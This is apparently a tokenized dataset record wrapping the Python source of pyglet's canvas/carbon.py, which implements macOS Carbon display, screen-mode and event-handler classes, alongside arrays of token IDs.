4730, 402, 12187, 370, 506, 9164, 14, 982, 302, 63, 3838, 2695, 378, 503, 365, 1039, 488, 12, 2066, 314, 1329, 402, 4730, 911, 506, 12985, 770, 701, 23159, 1084, 14, 1666, 1039, 485, 285, 1842, 63, 8741, 342, 367, 2436, 14, 4341, 1390, 63, 8741, 63, 529, 63, 1143, 1553, 8051, 367, 477, 7504, 316, 4212, 5002, 4730, 402, 12187, 787, 4346, 12, 1039, 1380, 314, 1329, 402, 4730, 365, 440, 4413, 14, 1666, 485, 285, 1842, 63, 8741, 342, 367, 1039, 2436, 14, 4341, 408, 1039, 11726, 855, 826, 721, 277, 12, 2034, 63, 409, 12, 1011, 829, 9, 1039, 291, 14, 2416, 63, 1531, 275, 3504, 63, 1531, 1039, 291, 14, 78, 63, 3838, 275, 302, 63, 3838, 1039, 291, 14, 988, 63, 8741, 63, 529, 63, 1143, 275, 1390, 63, 8741, 63, 529, 63, 1143, 1039, 291, 14, 4441, 63, 8741, 275, 6544, 63, 8741, 1039, 291, 14, 1606, 63, 409, 275, 2034, 63, 409, 4341, 291, 423, 8741, 275, 1052, 1039, 291, 423, 2902, 18, 1143, 275, 1052, 1039, 340, 12187, 26, 1675, 291, 423, 2902, 63, 1247, 275, 769, 8, 8741, 9, 1039, 587, 26, 1675, 291, 423, 2902, 63, 1247, 275, 942, 1039, 291, 423, 5511, 63, 2902, 275, 488, 1039, 291, 423, 2902, 63, 3838, 275, 942, 4341, 291, 14, 8358, 63, 1943, 275, 11726, 8, 277, 12, 4569, 29, 18, 12, 202, 3521, 9162, 2063, 29, 16, 12, 28958, 29, 3143, 619, 12, 202, 3521, 8020, 29, 277, 14, 67, 362, 360, 7451, 1333, 1039, 291, 14, 8358, 63, 1943, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 797, 9, 4341, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 1050, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 1123, 282, 892, 5174, 543, 314, 536, 1627, 315, 5174, 63, 354, 1041, 1039, 340, 440, 5174, 63, 354, 26, 1675, 746, 6378, 985, 547, 480, 3364, 23159, 536, 26, 1543, 83, 4065, 450, 5174, 63, 354, 9, 1039, 340, 5174, 63, 354, 315, 291, 423, 2902, 63, 1247, 26, 1675, 746, 21086, 23839, 480, 7690, 4310, 1543, 83, 7, 2575, 3495, 2, 450, 2902, 63, 354, 9, 4341, 291, 423, 2902, 63, 1247, 14, 740, 8, 2902, 63, 354, 9, 1039, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 2813, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 5587, 314, 5174, 4310, 665, 2902, 63, 354, 11193, 1039, 340, 440, 5174, 63, 354, 315, 291, 423, 2902, 63, 1247, 26, 1675, 746, 4067, 480, 1944, 4066, 23159, 26, 1543, 83, 2, 450, 2034, 63, 354, 9, 4341, 291, 423, 2902, 63, 1247, 14, 2168, 8, 2902, 63, 354, 9, 1039, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 663, 63, 5511, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 6824, 314, 5174, 4310, 665, 2902, 63, 354, 30, 465, 314, 4895, 1373, 624, 1039, 340, 5174, 63, 354, 508, 291, 423, 5511, 63, 2902, 26, 1675, 372, 1039, 340, 5174, 63, 354, 365, 440, 488, 436, 5174, 63, 354, 440, 315, 291, 423, 8741, 26, 1675, 746, 4067, 480, 1944, 4066, 23159, 26, 1543, 83, 2, 450, 2034, 63, 354, 9, 4341, 327, 477, 2416, 314, 1453, 4895, 5174, 1039, 340, 291, 423, 5511, 63, 2902, 365, 440, 488, 26, 1675, 291, 423, 8741, 59, 277, 423, 5511, 63, 2902, 1055, 409, 63, 3302, 342, 1039, 291, 423, 5511, 63, 2902, 275, 488, 4341, 340, 5174, 63, 354, 365, 440, 488, 26, 1675, 327, 15422, 314, 5174, 4310, 5174, 63, 354, 1675, 291, 423, 5511, 63, 2902, 275, 5174, 63, 354, 1675, 5174, 275, 291, 423, 8741, 59, 2902, 63, 354, 61, 1675, 5174, 14, 409, 63, 5511, 342, 1675, 327, 4057, 314, 5174, 1962, 543, 314, 4895, 5174, 370, 314, 9048, 1675, 5174, 63, 1143, 275, 291, 423, 2902, 18, 1143, 59, 2902, 61, 1675, 5174, 63, 1143, 14, 1389, 63, 28767, 342, 1675, 5174, 63, 1143, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 16, 9, 2958, 347, 485, 525, 63, 2902, 63, 1143, 8, 277, 12, 5174, 63, 1247, 12, 6544, 63, 8741, 304, 1039, 340, 440, 5174, 63, 1247, 26, 1675, 372, 4341, 5174, 63, 1143, 275, 11726, 8, 277, 9, 1039, 5174, 63, 1143, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 16, 9, 1039, 291, 423, 2902, 63, 3838, 14, 740, 8, 2902, 63 ]
[ 2493, 4514, 402, 5174, 6123, 6497, 1808, 1454, 4465, 16826, 14, 2999, 199, 12834, 1183, 477, 27813, 367, 675, 315, 23240, 14, 21311, 641, 5174, 1606, 14, 647, 14, 2999, 199, 15711, 16629, 26, 202, 199, 7690, 6123, 3276, 1084, 1553, 437, 16826, 4514, 402, 282, 5174, 6123, 13, 1606, 3938, 14, 202, 199, 7690, 1084, 1553, 437, 3938, 3035, 12187, 334, 15687, 9, 315, 1373, 503, 1655, 4730, 14, 2999, 199, 624, 202, 199, 504, 22171, 492, 627, 2999, 199, 533, 6378, 985, 547, 8, 1726, 304, 986, 202, 199, 533, 21086, 23839, 8, 1726, 304, 986, 8065, 199, 533, 23159, 1084, 8, 3160, 304, 1128, 408, 33, 3938, 3035, 12187, 334, 15687, 9, 315, 1373, 503, 1655, 4730, 14, 2958, 5972, 1373, 5174, 1443, 506, 4895, 737, 282, 900, 14, 2958, 408, 1128, 347, 636, 826, 721, 277, 12, 2034, 63, 409, 12, 3504, 63, 1531, 12, 20085, 12187, 29, 403, 12, 302, 63, 3838, 29, 17, 12, 1390, 63, 8741, 63, 529, 63, 1143, 29, 21, 12, 20085, 6544, 63, 8741, 29, 797, 12, 1011, 829, 304, 1039, 408, 11447, 2368, 26, 4341, 3504, 63, 1531, 1553, 437, 4550, 1314, 911, 506, 2797, 1380, 282, 5174, 365, 1039, 4895, 14, 2779, 365, 2797, 543, 314, 536, 402, 314, 4895, 5174, 465, 376, 1039, 1423, 14, 4341, 12187, 1553, 437, 769, 402, 3326, 12, 314, 1561, 402, 314, 12187, 14, 7719, 506, 2013, 315, 1039, 314, 6387, 5174, 1865, 14, 710, 1642, 5174, 911, 506, 314, 849, 436, 1642, 1039, 4702, 5174, 14, 982, 12187, 365, 488, 503, 2701, 12, 314, 23159, 1084, 911, 506, 10038, 1039, 2701, 14, 4341, 302, 63, 3838, 1553, 4860, 402, 4730, 402, 12187, 370, 506, 9164, 14, 982, 302, 63, 3838, 2695, 378, 503, 365, 1039, 488, 12, 2066, 314, 1329, 402, 4730, 911, 506, 12985, 770, 701, 23159, 1084, 14, 1666, 1039, 485, 285, 1842, 63, 8741, 342, 367, 2436, 14, 4341, 1390, 63, 8741, 63, 529, 63, 1143, 1553, 8051, 367, 477, 7504, 316, 4212, 5002, 4730, 402, 12187, 787, 4346, 12, 1039, 1380, 314, 1329, 402, 4730, 365, 440, 4413, 14, 1666, 485, 285, 1842, 63, 8741, 342, 367, 1039, 2436, 14, 4341, 408, 1039, 11726, 855, 826, 721, 277, 12, 2034, 63, 409, 12, 1011, 829, 9, 1039, 291, 14, 2416, 63, 1531, 275, 3504, 63, 1531, 1039, 291, 14, 78, 63, 3838, 275, 302, 63, 3838, 1039, 291, 14, 988, 63, 8741, 63, 529, 63, 1143, 275, 1390, 63, 8741, 63, 529, 63, 1143, 1039, 291, 14, 4441, 63, 8741, 275, 6544, 63, 8741, 1039, 291, 14, 1606, 63, 409, 275, 2034, 63, 409, 4341, 291, 423, 8741, 275, 1052, 1039, 291, 423, 2902, 18, 1143, 275, 1052, 1039, 340, 12187, 26, 1675, 291, 423, 2902, 63, 1247, 275, 769, 8, 8741, 9, 1039, 587, 26, 1675, 291, 423, 2902, 63, 1247, 275, 942, 1039, 291, 423, 5511, 63, 2902, 275, 488, 1039, 291, 423, 2902, 63, 3838, 275, 942, 4341, 291, 14, 8358, 63, 1943, 275, 11726, 8, 277, 12, 4569, 29, 18, 12, 202, 3521, 9162, 2063, 29, 16, 12, 28958, 29, 3143, 619, 12, 202, 3521, 8020, 29, 277, 14, 67, 362, 360, 7451, 1333, 1039, 291, 14, 8358, 63, 1943, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 797, 9, 4341, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 1050, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 1123, 282, 892, 5174, 543, 314, 536, 1627, 315, 5174, 63, 354, 1041, 1039, 340, 440, 5174, 63, 354, 26, 1675, 746, 6378, 985, 547, 480, 3364, 23159, 536, 26, 1543, 83, 4065, 450, 5174, 63, 354, 9, 1039, 340, 5174, 63, 354, 315, 291, 423, 2902, 63, 1247, 26, 1675, 746, 21086, 23839, 480, 7690, 4310, 1543, 83, 7, 2575, 3495, 2, 450, 2902, 63, 354, 9, 4341, 291, 423, 2902, 63, 1247, 14, 740, 8, 2902, 63, 354, 9, 1039, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 2813, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 5587, 314, 5174, 4310, 665, 2902, 63, 354, 11193, 1039, 340, 440, 5174, 63, 354, 315, 291, 423, 2902, 63, 1247, 26, 1675, 746, 4067, 480, 1944, 4066, 23159, 26, 1543, 83, 2, 450, 2034, 63, 354, 9, 4341, 291, 423, 2902, 63, 1247, 14, 2168, 8, 2902, 63, 354, 9, 1039, 291, 423, 285, 1842, 63, 8741, 342, 2958, 347, 663, 63, 5511, 63, 2902, 8, 277, 12, 5174, 63, 354, 304, 1039, 408, 6824, 314, 5174, 4310, 665, 2902, 63, 354, 30, 465, 314, 4895, 1373, 624, 1039, 340, 5174, 63, 354, 508, 291, 423, 5511, 63, 2902, 26, 1675, 372, 1039, 340, 5174, 63, 354, 365, 440, 488, 436, 5174, 63, 354, 440, 315, 291, 423, 8741, 26, 1675, 746, 4067, 480, 1944, 4066, 23159, 26, 1543, 83, 2, 450, 2034, 63, 354, 9, 4341, 327, 477, 2416, 314, 1453, 4895, 5174, 1039, 340, 291, 423, 5511, 63, 2902, 365, 440, 488, 26, 1675, 291, 423, 8741, 59, 277, 423, 5511, 63, 2902, 1055, 409, 63, 3302, 342, 1039, 291, 423, 5511, 63, 2902, 275, 488, 4341, 340, 5174, 63, 354, 365, 440, 488, 26, 1675, 327, 15422, 314, 5174, 4310, 5174, 63, 354, 1675, 291, 423, 5511, 63, 2902, 275, 5174, 63, 354, 1675, 5174, 275, 291, 423, 8741, 59, 2902, 63, 354, 61, 1675, 5174, 14, 409, 63, 5511, 342, 1675, 327, 4057, 314, 5174, 1962, 543, 314, 4895, 5174, 370, 314, 9048, 1675, 5174, 63, 1143, 275, 291, 423, 2902, 18, 1143, 59, 2902, 61, 1675, 5174, 63, 1143, 14, 1389, 63, 28767, 342, 1675, 5174, 63, 1143, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 16, 9, 2958, 347, 485, 525, 63, 2902, 63, 1143, 8, 277, 12, 5174, 63, 1247, 12, 6544, 63, 8741, 304, 1039, 340, 440, 5174, 63, 1247, 26, 1675, 372, 4341, 5174, 63, 1143, 275, 11726, 8, 277, 9, 1039, 5174, 63, 1143, 14, 1389, 8, 2441, 29, 11422, 12, 5554, 29, 56, 12, 6544, 29, 16, 9, 1039, 291, 423, 2902, 63, 3838, 14, 740, 8, 2902, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kmonsoor/pyglet
pyglet/canvas/carbon.py
39
8766
#!/usr/bin/env python ''' ''' __docformat__ = 'restructuredtext' __version__ = '$Id: $' from pyglet import app from base import Display, Screen, ScreenMode, Canvas from pyglet.libs.darwin import * from pyglet.libs.darwin import _oscheck class CarbonDisplay(Display): # TODO: CarbonDisplay could be per display device, which would make # reporting of screens and available configs more accurate. The number of # Macs with more than one video card is probably small, though. def __init__(self): super(CarbonDisplay, self).__init__() import MacOS if not MacOS.WMAvailable(): raise app.AppException('Window manager is not available. ' \ 'Ensure you run "pythonw", not "python"') self._install_application_event_handlers() def get_screens(self): count = CGDisplayCount() carbon.CGGetActiveDisplayList(0, None, byref(count)) displays = (CGDirectDisplayID * count.value)() carbon.CGGetActiveDisplayList(count.value, displays, byref(count)) return [CarbonScreen(self, id) for id in displays] def _install_application_event_handlers(self): self._carbon_event_handlers = [] self._carbon_event_handler_refs = [] target = carbon.GetApplicationEventTarget() # TODO something with a metaclass or hacky like CarbonWindow # to make this list extensible handlers = [ (self._on_mouse_down, kEventClassMouse, kEventMouseDown), (self._on_apple_event, kEventClassAppleEvent, kEventAppleEvent), (self._on_command, kEventClassCommand, kEventProcessCommand), ] ae_handlers = [ (self._on_ae_quit, kCoreEventClass, kAEQuitApplication), ] # Install the application-wide handlers for method, cls, event in handlers: proc = EventHandlerProcPtr(method) self._carbon_event_handlers.append(proc) upp = carbon.NewEventHandlerUPP(proc) types = EventTypeSpec() types.eventClass = cls types.eventKind = event handler_ref = EventHandlerRef() carbon.InstallEventHandler( target, upp, 1, byref(types), c_void_p(), byref(handler_ref)) self._carbon_event_handler_refs.append(handler_ref) # Install Apple event handlers for method, cls, event in ae_handlers: proc = EventHandlerProcPtr(method) self._carbon_event_handlers.append(proc) upp = carbon.NewAEEventHandlerUPP(proc) carbon.AEInstallEventHandler( cls, event, upp, 0, False) def _on_command(self, next_handler, ev, data): command = HICommand() carbon.GetEventParameter(ev, kEventParamDirectObject, typeHICommand, c_void_p(), sizeof(command), c_void_p(), byref(command)) if command.commandID == kHICommandQuit: self._on_quit() return noErr def _on_mouse_down(self, next_handler, ev, data): # Check for menubar hit position = Point() carbon.GetEventParameter(ev, kEventParamMouseLocation, typeQDPoint, c_void_p(), sizeof(position), c_void_p(), byref(position)) if carbon.FindWindow(position, None) == inMenuBar: # Mouse down in menu bar. MenuSelect() takes care of all # menu tracking and blocks until the menu is dismissed. # Use command events to handle actual menu item invokations. # This function blocks, so tell the event loop it needs to install # a timer. app.event_loop.enter_blocking() carbon.MenuSelect(position) app.event_loop.exit_blocking() # Menu selection has now returned. Remove highlight from the # menubar. carbon.HiliteMenu(0) carbon.CallNextEventHandler(next_handler, ev) return noErr def _on_apple_event(self, next_handler, ev, data): # Somewhat involved way of redispatching Apple event contained # within a Carbon event, described in # http://developer.apple.com/documentation/AppleScript/ # Conceptual/AppleEvents/dispatch_aes_aepg/chapter_4_section_3.html release = False if carbon.IsEventInQueue(carbon.GetMainEventQueue(), ev): carbon.RetainEvent(ev) release = True carbon.RemoveEventFromQueue(carbon.GetMainEventQueue(), ev) ev_record = EventRecord() carbon.ConvertEventRefToEventRecord(ev, byref(ev_record)) carbon.AEProcessAppleEvent(byref(ev_record)) if release: carbon.ReleaseEvent(ev) return noErr def _on_ae_quit(self, ae, reply, refcon): self._on_quit() return noErr def _on_quit(self): '''Called when the user tries to quit the application. This is not an actual event handler, it is called in response to Command+Q, the Quit menu item, and the Dock context menu's Quit item. The default implementation calls `EventLoop.exit` on `pyglet.app.event_loop`. ''' app.event_loop.exit() class CarbonScreen(Screen): _initial_mode = None def __init__(self, display, id): self.display = display rect = carbon.CGDisplayBounds(id) super(CarbonScreen, self).__init__(display, int(rect.origin.x), int(rect.origin.y), int(rect.size.width), int(rect.size.height)) self.id = id mode = carbon.CGDisplayCurrentMode(id) kCGDisplayRefreshRate = create_cfstring('RefreshRate') number = carbon.CFDictionaryGetValue(mode, kCGDisplayRefreshRate) refresh = c_long() kCFNumberLongType = 10 carbon.CFNumberGetValue(number, kCFNumberLongType, byref(refresh)) self._refresh_rate = refresh.value def get_gdevice(self): gdevice = POINTER(None)() _oscheck(carbon.DMGetGDeviceByDisplayID(self.id, byref(gdevice), False)) return gdevice def get_matching_configs(self, template): canvas = CarbonCanvas(self.display, self, None) configs = template.match(canvas) # XXX deprecate for config in configs: config.screen = self return configs def get_modes(self): modes_array = carbon.CGDisplayAvailableModes(self.id) n_modes_array = carbon.CFArrayGetCount(modes_array) modes = [] for i in range(n_modes_array): mode = carbon.CFArrayGetValueAtIndex(modes_array, i) modes.append(CarbonScreenMode(self, mode)) return modes def get_mode(self): mode = carbon.CGDisplayCurrentMode(self.id) return CarbonScreenMode(self, mode) def set_mode(self, mode): assert mode.screen is self if not self._initial_mode: self._initial_mode = self.get_mode() _oscheck(carbon.CGDisplayCapture(self.id)) _oscheck(carbon.CGDisplaySwitchToMode(self.id, mode.mode)) self.width = mode.width self.height = mode.height def restore_mode(self): if self._initial_mode: _oscheck(carbon.CGDisplaySwitchToMode(self.id, self._initial_mode.mode)) _oscheck(carbon.CGDisplayRelease(self.id)) class CarbonScreenMode(ScreenMode): def __init__(self, screen, mode): super(CarbonScreenMode, self).__init__(screen) self.mode = mode self.width = self._get_long('Width') self.height = self._get_long('Height') self.depth = self._get_long('BitsPerPixel') self.rate = self._get_long('RefreshRate') def _get_long(self, key): kCFNumberLongType = 10 cfkey = create_cfstring(key) number = carbon.CFDictionaryGetValue(self.mode, cfkey) if not number: return None value = c_long() carbon.CFNumberGetValue(number, kCFNumberLongType, byref(value)) return value.value class CarbonCanvas(Canvas): bounds = None def __init__(self, display, screen, drawable): super(CarbonCanvas, self).__init__(display) self.screen = screen self.drawable = drawable class CarbonFullScreenCanvas(Canvas): # XXX not used any more. def __init__(self, display, screen, width, height): super(CarbonFullScreenCanvas, self).__init__(display) self.screen = screen self.width = width self.height = height
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 26, 2672, 7, 199, 199, 504, 23409, 492, 1145, 199, 504, 1300, 492, 12175, 12, 17804, 12, 17804, 1385, 12, 29349, 199, 199, 504, 23409, 14, 8450, 14, 13245, 492, 627, 199, 504, 23409, 14, 8450, 14, 13245, 492, 485, 736, 1074, 199, 199, 533, 445, 31585, 7687, 8, 7687, 304, 272, 327, 3254, 26, 445, 31585, 7687, 4293, 506, 1126, 2929, 2243, 12, 1314, 3955, 1852, 272, 327, 17290, 402, 6426, 83, 436, 2808, 11585, 1655, 23189, 14, 221, 710, 1329, 402, 272, 327, 10444, 83, 543, 1655, 2419, 1373, 3991, 12564, 365, 8646, 7425, 12, 10617, 14, 272, 347, 636, 826, 721, 277, 304, 267, 1613, 8, 35, 31585, 7687, 12, 291, 2843, 826, 4533, 398, 492, 10444, 3100, 267, 340, 440, 10444, 3100, 14, 55, 2054, 86, 2057, 837, 288, 746, 1145, 14, 2640, 1726, 360, 4301, 5256, 365, 440, 2808, 14, 221, 283, 971, 3521, 283, 13913, 1265, 1255, 298, 1548, 87, 401, 440, 298, 1548, 9008, 398, 291, 423, 3174, 63, 3578, 63, 1430, 63, 5586, 342, 5493, 347, 664, 63, 5410, 83, 8, 277, 304, 267, 2338, 275, 18657, 7687, 2353, 342, 267, 9590, 13520, 14, 4064, 1002, 7472, 7687, 1296, 8, 16, 12, 488, 12, 15968, 8, 835, 430, 267, 17561, 275, 334, 4064, 16281, 7687, 998, 627, 2338, 14, 585, 16315, 267, 9590, 13520, 14, 4064, 1002, 7472, 7687, 1296, 8, 835, 14, 585, 12, 17561, 12, 15968, 8, 835, 430, 267, 372, 359, 35, 31585, 9616, 8, 277, 12, 1305, 9, 367, 1305, 315, 17561, 61, 339, 347, 485, 3174, 63, 3578, 63, 1430, 63, 5586, 8, 277, 304, 267, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 275, 942, 267, 291, 423, 7007, 13520, 63, 1430, 63, 2232, 63, 7655, 275, 942, 398, 1347, 275, 9590, 13520, 14, 1002, 5039, 2390, 4277, 342, 398, 327, 3254, 6020, 543, 282, 17074, 503, 11176, 89, 2839, 445, 31585, 4301, 267, 327, 370, 1852, 642, 769, 2178, 1164, 267, 8297, 275, 359, 288, 334, 277, 423, 265, 63, 10544, 63, 2110, 12, 1022, 2390, 2543, 17141, 12, 1022, 2390, 17141, 3514, 395, 288, 334, 277, 423, 265, 63, 12820, 63, 1430, 12, 1022, 2390, 2543, 25051, 2390, 12, 1022, 2390, 25051, 2390, 395, 288, 334, 277, 423, 265, 63, 1531, 12, 1022, 2390, 2543, 3110, 12, 1022, 2390, 3498, 3110, 395, 267, 1622, 398, 16951, 63, 5586, 275, 359, 288, 334, 277, 423, 265, 63, 3624, 63, 10589, 12, 1022, 5402, 2390, 2543, 12, 1022, 12500, 24145, 5039, 395, 267, 1622, 398, 327, 13276, 314, 4223, 13, 13062, 8297, 267, 367, 1083, 12, 843, 12, 1566, 315, 8297, 26, 288, 6499, 275, 6763, 2461, 15019, 2115, 8, 765, 9, 288, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 14, 740, 8, 4687, 9, 288, 1536, 80, 275, 9590, 13520, 14, 4665, 2390, 2461, 2160, 48, 8, 4687, 9, 288, 2943, 275, 6763, 804, 5307, 342, 288, 2943, 14, 1430, 2543, 275, 843, 288, 2943, 14, 1430, 13028, 275, 1566, 288, 3016, 63, 1121, 275, 6763, 2461, 2891, 342, 288, 9590, 13520, 14, 8154, 2390, 2461, 8, 355, 1347, 12, 355, 1536, 80, 12, 355, 413, 12, 355, 15968, 8, 1313, 395, 355, 286, 63, 1647, 63, 80, 1062, 355, 15968, 8, 2232, 63, 1121, 430, 288, 291, 423, 7007, 13520, 63, 1430, 63, 2232, 63, 7655, 14, 740, 8, 2232, 63, 1121, 9, 398, 327, 13276, 21257, 1566, 8297, 267, 367, 1083, 12, 843, 12, 1566, 315, 16951, 63, 5586, 26, 288, 6499, 275, 6763, 2461, 15019, 2115, 8, 765, 9, 288, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 14, 740, 8, 4687, 9, 288, 1536, 80, 275, 9590, 13520, 14, 4665, 12500, 2390, 2461, 2160, 48, 8, 4687, 9, 288, 9590, 13520, 14, 12500, 8154, 2390, 2461, 8, 355, 843, 12, 355, 1566, 12, 355, 1536, 80, 12, 355, 378, 12, 355, 756, 9, 339, 347, 485, 265, 63, 1531, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 1414, 275, 869, 948, 79, 861, 342, 267, 9590, 13520, 14, 1002, 2390, 4720, 8, 6857, 12, 1022, 2390, 4098, 16281, 1692, 12, 288, 730, 40, 948, 79, 861, 12, 286, 63, 1647, 63, 80, 1062, 13855, 8, 1531, 395, 286, 63, 1647, 63, 80, 1062, 288, 15968, 8, 1531, 430, 398, 340, 1414, 14, 1531, 998, 508, 1022, 40, 948, 79, 861, 24145, 26, 288, 291, 423, 265, 63, 10589, 342, 398, 372, 949, 5432, 339, 347, 485, 265, 63, 10544, 63, 2110, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 327, 2670, 367, 12953, 23863, 9793, 267, 3421, 275, 7584, 342, 267, 9590, 13520, 14, 1002, 2390, 4720, 8, 6857, 12, 1022, 2390, 4098, 17141, 6592, 12, 288, 730, 49, 36, 3428, 12, 286, 63, 1647, 63, 80, 1062, 13855, 8, 3124, 395, 286, 63, 1647, 63, 80, 1062, 288, 15968, 8, 3124, 430, 267, 340, 9590, 13520, 14, 6591, 4301, 8, 3124, 12, 488, 9, 508, 315, 5977, 5281, 26, 288, 327, 603, 7130, 3224, 315, 6269, 4681, 14, 221, 18281, 5446, 342, 6181, 10296, 402, 1006, 288, 327, 6269, 15161, 436, 5664, 5133, 314, 6269, 365, 2153, 1292, 939, 14, 288, 327, 3645, 1414, 4474, 370, 2429, 3503, 6269, 1242, 4572, 745, 1298, 14, 953, 327, 961, 805, 5664, 12, 880, 11480, 314, 1566, 4438, 652, 4839, 370, 3907, 288, 327, 282, 9715, 14, 288, 1145, 14, 1430, 63, 3813, 14, 4200, 63, 13091, 342, 288, 9590, 13520, 14, 5977, 5446, 8, 3124, 9, 288, 1145, 14, 1430, 63, 3813, 14, 2224, 63, 13091, 342, 953, 327, 18281, 7267, 965, 3063, 2138, 14, 221, 5852, 11850, 687, 314, 288, 327, 12953, 23863, 14, 288, 9590, 13520, 14, 40, 1638, 266, 5977, 8, 16, 9, 398, 9590, 13520, 14, 2176, 5765, 2390, 2461, 8, 2184, 63, 2232, 12, 8145, 9, 267, 372, 949, 5432, 339, 347, 485, 265, 63, 12820, 63, 1430, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 327, 6601, 10058, 28244 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 26, 2672, 7, 199, 199, 504, 23409, 492, 1145, 199, 504, 1300, 492, 12175, 12, 17804, 12, 17804, 1385, 12, 29349, 199, 199, 504, 23409, 14, 8450, 14, 13245, 492, 627, 199, 504, 23409, 14, 8450, 14, 13245, 492, 485, 736, 1074, 199, 199, 533, 445, 31585, 7687, 8, 7687, 304, 272, 327, 3254, 26, 445, 31585, 7687, 4293, 506, 1126, 2929, 2243, 12, 1314, 3955, 1852, 272, 327, 17290, 402, 6426, 83, 436, 2808, 11585, 1655, 23189, 14, 221, 710, 1329, 402, 272, 327, 10444, 83, 543, 1655, 2419, 1373, 3991, 12564, 365, 8646, 7425, 12, 10617, 14, 272, 347, 636, 826, 721, 277, 304, 267, 1613, 8, 35, 31585, 7687, 12, 291, 2843, 826, 4533, 398, 492, 10444, 3100, 267, 340, 440, 10444, 3100, 14, 55, 2054, 86, 2057, 837, 288, 746, 1145, 14, 2640, 1726, 360, 4301, 5256, 365, 440, 2808, 14, 221, 283, 971, 3521, 283, 13913, 1265, 1255, 298, 1548, 87, 401, 440, 298, 1548, 9008, 398, 291, 423, 3174, 63, 3578, 63, 1430, 63, 5586, 342, 5493, 347, 664, 63, 5410, 83, 8, 277, 304, 267, 2338, 275, 18657, 7687, 2353, 342, 267, 9590, 13520, 14, 4064, 1002, 7472, 7687, 1296, 8, 16, 12, 488, 12, 15968, 8, 835, 430, 267, 17561, 275, 334, 4064, 16281, 7687, 998, 627, 2338, 14, 585, 16315, 267, 9590, 13520, 14, 4064, 1002, 7472, 7687, 1296, 8, 835, 14, 585, 12, 17561, 12, 15968, 8, 835, 430, 267, 372, 359, 35, 31585, 9616, 8, 277, 12, 1305, 9, 367, 1305, 315, 17561, 61, 339, 347, 485, 3174, 63, 3578, 63, 1430, 63, 5586, 8, 277, 304, 267, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 275, 942, 267, 291, 423, 7007, 13520, 63, 1430, 63, 2232, 63, 7655, 275, 942, 398, 1347, 275, 9590, 13520, 14, 1002, 5039, 2390, 4277, 342, 398, 327, 3254, 6020, 543, 282, 17074, 503, 11176, 89, 2839, 445, 31585, 4301, 267, 327, 370, 1852, 642, 769, 2178, 1164, 267, 8297, 275, 359, 288, 334, 277, 423, 265, 63, 10544, 63, 2110, 12, 1022, 2390, 2543, 17141, 12, 1022, 2390, 17141, 3514, 395, 288, 334, 277, 423, 265, 63, 12820, 63, 1430, 12, 1022, 2390, 2543, 25051, 2390, 12, 1022, 2390, 25051, 2390, 395, 288, 334, 277, 423, 265, 63, 1531, 12, 1022, 2390, 2543, 3110, 12, 1022, 2390, 3498, 